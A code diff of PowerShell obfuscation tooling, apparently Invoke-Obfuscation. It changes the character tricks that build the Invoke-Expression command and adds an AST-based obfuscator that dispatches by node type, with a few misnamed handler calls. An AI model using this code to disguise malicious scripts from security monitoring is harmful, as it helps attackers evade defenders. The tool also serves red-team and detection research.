lib/powershell/Invoke-Obfuscation/Out-EncodedWhitespaceCommand.ps1 less more
269269 $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
270270 $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
271271 $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
272 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
273272 $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
274273 $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
275274 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Insert)" , "''.Insert.ToString()")) + '[' + (Get-Random -Input @(3,7,14,23,33)) + ',' + (Get-Random -Input @(10,26,41)) + ",27]-Join''" + ")"
282281 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IsNormalized)" , "''.IsNormalized.ToString()")) + '[' + (Get-Random -Input @(5,13,26,34,57,61,75,79)) + ',' + (Get-Random -Input @(15,36,43,47)) + ",48]-Join''" + ")"
283282 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IndexOfAny)" , "''.IndexOfAny.ToString()")) + '[' + (Get-Random -Input @(0,4,30,34,59,68,76,80,105,114,121)) + ',' + (Get-Random -Input @(7,37,71,83,117)) + ',' + (Get-Random -Input @(8,38,72,84,118)) + "]-Join''" + ")"
284283 $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IndexOf)" , "''.IndexOf.ToString()")) + '[' + (Get-Random -Input @(0,4,25,29,49,58,66,70,90,99,106,118,122,133,145,149,160,171,180,188,192,203,214,223,230,242,246,257,278,287,298,309,313,324,335,344,361,370,381,392,396,407,418,427,434,455,464,475)) + ',' + (Get-Random -Input @(7,21,32,46,61,73,87,102,125,141,152,168,183,195,211,226,249,265,272,305,316,332,347,355,388,399,415,430,449,482)) + ',' + (Get-Random -Input @(8,33,62,74,103,126,153,184,196,227,250,317,348,400,431)) + "]-Join''" + ")"
284 # Commenting below option since $env:Public differs in string value for non-English operating systems.
285 #$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
285286
286287 # Randomly choose from above invoke operation syntaxes.
287288 $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
+5845
-0
lib/powershell/Invoke-Obfuscation/Out-ObfuscatedAst.ps1 less more
0 function Out-ObfuscatedAst
1 {
2 <#
3
4 .SYNOPSIS
5
6 Obfuscates PowerShell scripts using AbstractSyntaxTree-based obfuscation rules.
7
8 Author: Ryan Cobb (@cobbr_io)
9 License: Apache License, Version 2.0
10 Required Dependecies: none
11 Optional Dependencies: Get-Ast
12
13 .DESCRIPTION
14
15 Out-ObfuscatedAst obfuscates PowerShell scripts using AbstractSyntaxTree-based obfuscation rules.
16
17 .PARAMETER ScriptString
18
19 Specifies the string containing the script to be obfuscated.
20
21 .PARAMETER ScriptBlock
22
23 Specifies the ScriptBlock containing the script to be obfuscated.
24
25 .PARAMETER ScriptPath
26
27 Specifies the Path containing the script to be obfuscated.
28
29 .PARAMETER ScriptUri
30
31 Specifies the Uri of the script to be obfuscated.
32
33 .PARAMETER AbstractSyntaxTree
34
35 Specifies the root Ast that represents the script to be obfuscated.
36
37 .PARAMETER AstTypesToObfuscate
38
39 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
40
41 .PARAMETER DisableNestedObfuscation
42
43 Specifies that only the root Ast should be obfuscated, obfuscation should not be applied recursively.
44
45 .OUTPUTS
46
47 String
48
49 .EXAMPLE
50
51 Out-ObfuscatedAst -Ast $AbstractSyntaxTree
52
53 .EXAMPLE
54
55 Out-ObfuscatedAst "Write-Host example"
56
57 .EXAMPLE
58
59 Out-ObfuscatedAst { Write-Host example }
60
61 .EXAMPLE
62
63 Out-ObfuscatedAst -ScriptPath $ScriptPath
64
65 .EXAMPLE
66
67 @($Ast1, $Ast2, $Ast3) | Out-ObfuscatedAst
68
69 .NOTES
70
71 Out-ObfuscatedAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
72
73 #>
74 [CmdletBinding(DefaultParameterSetName = "ByString")] Param(
75 [Parameter(ParameterSetName = "ByString", Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
76 [ValidateNotNullOrEmpty()]
77 [String] $ScriptString,
78
79 [Parameter(ParameterSetName = "ByScriptBlock", Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
80 [ValidateNotNullOrEmpty()]
81 [ScriptBlock] $ScriptBlock,
82
83 [Parameter(ParameterSetName = "ByPath", Position = 0, ValueFromPipelineByPropertyName, Mandatory)]
84 [ValidateScript({Test-Path $_ -PathType leaf})]
85 [Alias('PSPath')]
86 [String] $ScriptPath,
87
88 [Parameter(ParameterSetName = "ByUri", Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
89 [ValidateScript({$_.Scheme -match 'http|https'})]
90 [Uri] $ScriptUri,
91
92 [Parameter(ParameterSetName = "ByTree", Position = 0, ValueFromPipeline, ValueFromPipelineByPropertyName, Mandatory)]
93 [ValidateNotNullOrEmpty()]
94 [Alias('Ast')]
95 [System.Management.Automation.Language.Ast] $AbstractSyntaxTree,
96
97 [Parameter(Position = 1)]
98 [ValidateNotNullOrEmpty()]
99 [Alias('AstTypes', 'Types')]
100 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
101
102 [Switch] $DisableNestedObfuscation
103 )
104 Process {
105 If ($ScriptString) { $AbstractSyntaxTree = Get-Ast -ScriptString $ScriptString }
106 ElseIf ($ScriptBlock) {
107 $AbstractSyntaxTree = Get-Ast -ScriptBlock $ScriptBlock
108 }
109 ElseIf ($ScriptPath) {
110 $AbstractSyntaxTree = Get-Ast -ScriptPath $ScriptPath
111 }
112 ElseIf ($ScriptUri) {
113 $AbstractSyntaxTree = Get-Ast -ScriptUri $ScriptUri
114 }
115
116 Switch ($AbstractSyntaxTree.GetType().Name) {
117 "ArrayExpressionAst" {
118 If ($DisableNestedObfuscation) { Out-ObfuscatedArrayExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
119 Else { Out-ObfuscatedArrayExpressionAst -Ast $AbstractSyntaxTree }
120 }
121 "ArrayLiteralAst" {
122 If ($DisableNestedObfuscation) { Out-ObfuscatedArrayLiteralAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
123 Else { Out-ObfuscatedArrayLiteralAst -AstTypesToObfuscate $AstTypesToObfuscate -Ast $AbstractSyntaxTree }
124 }
125 "AssignmentStatementAst" {
126 If ($DisableNestedObfuscation) { Out-ObfuscatedAssignmentStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
127 Else { Out-ObfuscatedAssignmentStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
128 }
129 "AttributeAst" {
130 If ($DisableNestedObfuscation) { Out-ObfuscatedAttributeAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
131 Else { Out-ObfuscatedAttributeAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
132 }
133 "AttributeBaseAst" {
134 If ($DisableNestedObfuscation) { Out-ObfuscatedAttributeBaseAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
135 Else { Out-ObfuscatedAttributeBaseAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
136 }
137 "AttributedExpessionAst" {
138 If ($DisableNestedObfuscation) { Out-ObfuscatedAttributedExpessionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
139 Else { Out-ObfuscatedAssignmentStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
140 }
141 "BaseCtorInvokeMemberExpressionAst" {
142 If ($DisableNestedObfuscation) { Out-ObfuscatedBaseCtorInvokeMemberExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
143 Else { Out-ObfuscatedBaseCtorInvokeMemberExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
144 }
145 "BinaryExpressionAst" {
146 If ($DisableNestedObfuscation) { Out-ObfuscatedBinaryExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
147 Else { Out-ObfuscatedBinaryExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
148 }
149 "BlockStatementAst" {
150 If ($DisableNestedObfuscation) { Out-ObfuscatedBlockStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
151 Else { Out-ObfuscatedBlockStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
152 }
153 "BreakStatementAst" {
154 If ($DisableNestedObfuscation) { Out-ObfuscatedBreakStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
155 Else { Out-ObfuscatedBreakStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
156 }
157 "CatchClauseAst" {
158 If ($DisableNestedObfuscation) { Out-ObfuscatedCatchClauseAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
159 Else { Out-ObfuscatedCatchClauseAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
160 }
161 "CommandAst" {
162 If ($DisableNestedObfuscation) { Out-ObfuscatedCommandAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
163 Else { Out-ObfuscatedCommandAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
164 }
165 "CommandBaseAst" {
166 If ($DisableNestedObfuscation) { Out-ObfuscatedCommandBaseAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
167 Else { Out-ObfuscatedCommandBaseAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
168 }
169 "CommandElementAst" {
170 If ($DisableNestedObfuscation) { Out-ObfuscatedCommandElementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
171 Else { Out-ObfuscatedCommandElementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
172 }
173 "CommandExpressionAst" {
174 If ($DisableNestedObfuscation) { Out-ObfuscatedCommandExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
175 Else { Out-ObfuscatedCommandExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
176 }
177 "CommandParameterAst" {
178 If ($DisableNestedObfuscation) { Out-ObfuscatedCommandParameterAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
179 Else { Out-ObfuscatedCommandParameterAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
180 }
181 "ConfigurationDefinitionAst" {
182 If ($DisableNestedObfuscation) { Out-ObfuscatedConfigurationDefinitionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
183 Else { Out-ObfuscatedConfigurationDefinitionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
184 }
185 "ConstantExpressionAst" {
186 If ($DisableNestedObfuscation) { Out-ObfuscatedConstantExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
187 Else { Out-ObfuscatedConstantExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
188 }
189 "ContinueStatementAst" {
190 If ($DisableNestedObfuscation) { Out-ObfuscatedContinueStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
191 Else { $ObfuscatedExtent = Out-ObfuscatedContinueStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
192 }
193 "ConvertExpressionAst" {
194 If ($DisableNestedObfuscation) { Out-ObfuscatedConvertExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
195 Else { Out-ObfuscatedConvertExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
196 }
197 "DataStatementAst" {
198 If ($DisableNestedObfuscation) { Out-ObfuscatedDataStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
199 Else { Out-ObfuscatedDataStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
200 }
201 "DoUntilStatementAst" {
202 If ($DisableNestedObfuscation) { Out-ObfuscatedDoUntilStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
203 Else { Out-ObfuscatedDoUntilStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
204 }
205 "DoWhileStatementAst" {
206 If ($DisableNestedObfuscation) { Out-ObfuscatedDoWhileStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
207 Else { Out-ObfuscatedDoWhileStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
208 }
209 "DynamicKeywordStatementAst" {
210 If ($DisableNestedObfuscation) { Out-ObfuscatedDynamicKeywordStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
211 Else { Out-ObfuscatedDynamicKeywordStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
212 }
213 "ErrorStatementAst" {
214 If ($DisableNestedObfuscation) { Out-ObfuscatedErrorStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
215 Else { Out-ObfuscatedErrorStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
216 }
217 "ExitStatementAst" {
218 If ($DisableNestedObfuscation) { Out-ObfuscatedExitStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
219 Else { Out-ObfuscatedExitStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
220 }
221 "ExpandableStringExpressionAst" {
222 If ($DisableNestedObfuscation) { Out-ObfuscatedExpandableStringExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
223 Else { Out-ObfuscatedExpandableStringExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
224 }
225 "ExpressionAst" {
226 If ($DisableNestedObfuscation) { Out-ObfuscatedExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
227 Else { Out-ObfuscatedExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
228 }
229 "FileRedirectionAst" {
230 If ($DisableNestedObfuscation) { Out-ObfuscatedFileRedirectionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
231 Else { Out-ObfuscatedFileRedirectionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
232 }
233 "ForEachStatementAst" {
234 If ($DisableNestedObfuscation) { Out-ObfuscatedForEachStatementAstt -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
235 Else { Out-ObfuscatedForEachStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
236 }
237 "ForStatementAst" {
238 If ($DisableNestedObfuscation) { Out-ObfuscatedForStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
239 Else { Out-ObfuscatedForStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
240 }
241 "FunctionDefinitionAst" {
242 If ($DisableNestedObfuscation) { Out-ObfuscatedFunctionDefinitionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
243 Else { Out-ObfuscatedFunctionDefinitionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
244 }
245 "FunctionMemberAst" {
246 If ($DisableNestedObfuscation) { Out-ObfuscatedFunctionMemberAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
247 Else { Out-ObfuscatedFunctionMemberAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
248 }
249 "HashtableAst" {
250 If ($DisableNestedObfuscation) { Out-ObfuscatedHashtableAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
251 Else { Out-ObfuscatedHashtableAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
252 }
253 "IfStatementAst" {
254 If ($DisableNestedObfuscation) { Out-ObfuscatedIfStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
255 Else { Out-ObfuscatedIfStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
256 }
257 "IndexExpressionAst" {
258 If ($DisableNestedObfuscation) { Out-ObfuscatedIndexExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
259 Else { Out-ObfuscatedIndexExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
260 }
261 "InvokeMemberExpressionAst" {
262 If ($DisableNestedObfuscation) { Out-ObfuscatedInvokeMemberExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
263 Else { Out-ObfuscatedInvokeMemberExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
264 }
265 "LabeledStatementAst" {
266 If ($DisableNestedObfuscation) { Out-ObfuscatedLabeledStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
267 Else { Out-ObfuscatedLabeledStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
268 }
269 "LoopStatementAst" {
270 If ($DisableNestedObfuscation) { Out-ObfuscatedLoopStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
271 Else { Out-ObfuscatedLoopStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
272 }
273 "MemberAst" {
274 If ($DisableNestedObfuscation) { Out-ObfuscatedMemberAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
275 Else { Out-ObfuscatedMemberAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
276 }
277 "MemberExpressionAst" {
278 If ($DisableNestedObfuscation) { Out-ObfuscatedMemberExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
279 Else { Out-ObfuscatedMemberExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
280 }
281 "MergingRedirectionAst" {
282 If ($DisableNestedObfuscation) { Out-ObfuscatedMergingRedirectionAstt -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
283 Else { Out-ObfuscatedMergingRedirectionAstt -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
284 }
285 "NamedAttributeArgumentAst" {
286 If ($DisableNestedObfuscation) { Out-ObfuscatedNamedAttributeArgumentAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
287 Else { Out-ObfuscatedNamedAttributeArgumentAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
288 }
289 "NamedBlockAst" {
290 If ($DisableNestedObfuscation) { Out-ObfuscatedNamedBlockAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
291 Else { Out-ObfuscatedNamedBlockAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
292 }
293 "ParamBlockAst" {
294 If ($DisableNestedObfuscation) { Out-ObfuscatedParamBlockAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
295 Else { Out-ObfuscatedParamBlockAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
296 }
297 "ParameterAst" {
298 If ($DisableNestedObfuscation) { Out-ObfuscatedParameterAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
299 Else { Out-ObfuscatedParameterAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
300 }
301 "ParenExpressionAst" {
302 If ($DisableNestedObfuscation) { Out-ObfuscatedParenExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
303 Else { Out-ObfuscatedParenExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
304 }
305 "PipelineAst" {
306 If ($DisableNestedObfuscation) { Out-ObfuscatedPipelineAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
307 Else { Out-ObfuscatedPipelineAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
308 }
309 "PipelineBaseAst" {
310 If ($DisableNestedObfuscation) { Out-ObfuscatedPipelineBaseAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
311 Else { Out-ObfuscatedPipelineBaseAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
312 }
313 "PropertyMemberAst" {
314 If ($DisableNestedObfuscation) { Out-ObfuscatedPropertyMemberAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
315 Else { Out-ObfuscatedPropertyMemberAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
316 }
317 "RedirectionAst" {
318 If ($DisableNestedObfuscation) { Out-ObfuscatedRedirectionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
319 Else { Out-ObfuscatedRedirectionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
320 }
321 "ReturnStatementAst" {
322 If ($DisableNestedObfuscation) { Out-ObfuscatedReturnStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
323 Else { Out-ObfuscatedReturnStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
324 }
325 "ScriptBlockAst" {
326 If ($DisableNestedObfuscation) { Out-ObfuscatedScriptBlockAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
327 Else { Out-ObfuscatedScriptBlockAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
328 }
329 "ScriptBlockExpressionAst" {
330 If ($DisableNestedObfuscation) { Out-ObfuscatedScriptBlockExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
331 Else { Out-ObfuscatedScriptBlockExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
332 }
333 "StatementAst" {
334 If ($DisableNestedObfuscation) { Out-ObfuscatedStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
335 Else { Out-ObfuscatedStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
336 }
337 "StatementBlockAst" {
338 If ($DisableNestedObfuscation) { Out-ObfuscatedStatementBlockAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
339 Else { Out-ObfuscatedStatementBlockAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
340 }
341 "StringConstantExpressionAst" {
342 If ($DisableNestedObfuscation) { Out-ObfuscatedStringConstantExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
343 Else { Out-ObfuscatedStringConstantExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
344 }
345 "SubExpressionAst" {
346 If ($DisableNestedObfuscation) { Out-ObfuscatedSubExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
347 Else { Out-ObfuscatedSubExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
348 }
349 "SwitchStatementAst" {
350 If ($DisableNestedObfuscation) { Out-ObfuscatedSwitchStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
351 Else { Out-ObfuscatedSwitchStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
352 }
353 "ThrowStatementAst" {
354 If ($DisableNestedObfuscation) { Out-ObfuscatedThrowStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
355 Else { Out-ObfuscatedThrowStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
356 }
357 "TrapStatementAst" {
358 If ($DisableNestedObfuscation) { Out-ObfuscatedTrapStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
359 Else { Out-ObfuscatedTrapStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
360 }
361 "TryStatementAst" {
362 If ($DisableNestedObfuscation) { Out-ObfuscatedTryStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
363 Else { Out-ObfuscatedTryStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
364 }
365 "TypeConstraintAst" {
366 If ($DisableNestedObfuscation) { Out-ObfuscatedTypeConstraintAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
367 Else { Out-ObfuscatedTypeConstraintAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
368 }
369 "TypeDefinitionAst" {
370 If ($DisableNestedObfuscation) { Out-ObfuscatedTypeDefinitionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
371 Else { Out-ObfuscatedTypeDefinitionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
372 }
373 "TypeExpressionAst" {
374 If ($DisableNestedObfuscation) { Out-ObfuscatedTypeExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
375 Else { Out-ObfuscatedTypeExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
376 }
377 "UnaryExpressionAst" {
378 If ($DisableNestedObfuscation) { Out-ObfuscatedUnaryExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
